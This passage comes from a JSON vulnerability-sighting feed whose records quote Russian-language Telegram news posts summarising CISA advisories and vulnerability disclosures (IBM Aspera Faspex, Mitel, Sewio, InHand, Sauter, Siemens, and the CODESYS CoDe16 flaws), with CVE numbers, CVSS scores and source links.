\u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-26T02:02:25.053734Z"}, {"uuid": "102ab6ea-b614-4825-8ab8-ebd073c74ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/EchelonEyes/1221", "content": "CISA \u043f\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0442\u0440\u0435\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0442\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2022-47986 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 YAML \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 IBM Aspera Faspex. \n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  CVE-2022-41223 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8) \u0438 CVE-2022-40765 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8),  \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Mitel MiVoice Connect \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Mitel \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2022-26377 \u0438 CVE-2022-31813) \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 MELSOFT iQ AppPortal \u043e\u0442 Mitsubishi Electric.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-adds-three-known-exploited-vulnerabilities-catalog \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-releases-two-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #CISA", "creation_timestamp": "2026-07-26T02:02:30.033009Z"}, {"uuid": "46d00ad4-0fc4-4754-9fcb-4a22a2bcf17a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47911", "type": "seen", "source": "https://t.me/EchelonEyes/1082", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Sewio, InHand Networks, Sauter Controls \u0438 Siemens.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 RTLS Studio Sewio \u2013 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u0439. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2022-45444 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10,0), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2022-47911 \u0438 CVE-2022-43483, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 (CVE-2022-41989, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0445\u0430\u043a\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 CISA \u0443\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0430 \u043f\u044f\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 InHand Networks InRouter 302 \u0438 InRouter 615, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0421\u0440\u0435\u0434\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u2013CVE-2023-22600, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10,0.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Sauter Controls Nova 220, Nova 230, Nova 106 \u0438 moduNet300, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2023-0053, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2023-0052, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Siemens Mendix SAML (CVE-2022-46823, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0449\u0435\u043b\u043a\u043d\u0443\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0432\u044f\u0437\u044c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2023/01/12/cisa-releases-twelve-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #ICS #CISA", "creation_timestamp": "2026-07-26T02:02:31.689123Z"}, {"uuid": "453c3497-e63e-4043-923c-81652a002854", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u00ab\u0431\u0443\u043a\u0435\u0442\u00bb \u0438\u0437 16 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0441\u0440\u0435\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0442 CVE-2022-47378 \u0434\u043e CVE-2022-47393 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CoDe16, \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-47391 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,5. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430.\n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CODESYS V3 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.5.19.0, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u0440\u0438\u0441\u043a\u0443 \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Microsoft Threat Intelligence Community.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 CODESYS V3. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043d\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u043c\u0443 \u0440\u0435\u0436\u0438\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 OT, \u0447\u0442\u043e\u0431\u044b \u043c\u0435\u0448\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 (\u041f\u041b\u041a) \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0431\u0430\u0440\u044c\u0435\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-9013 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u041f\u041b\u041a. \u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 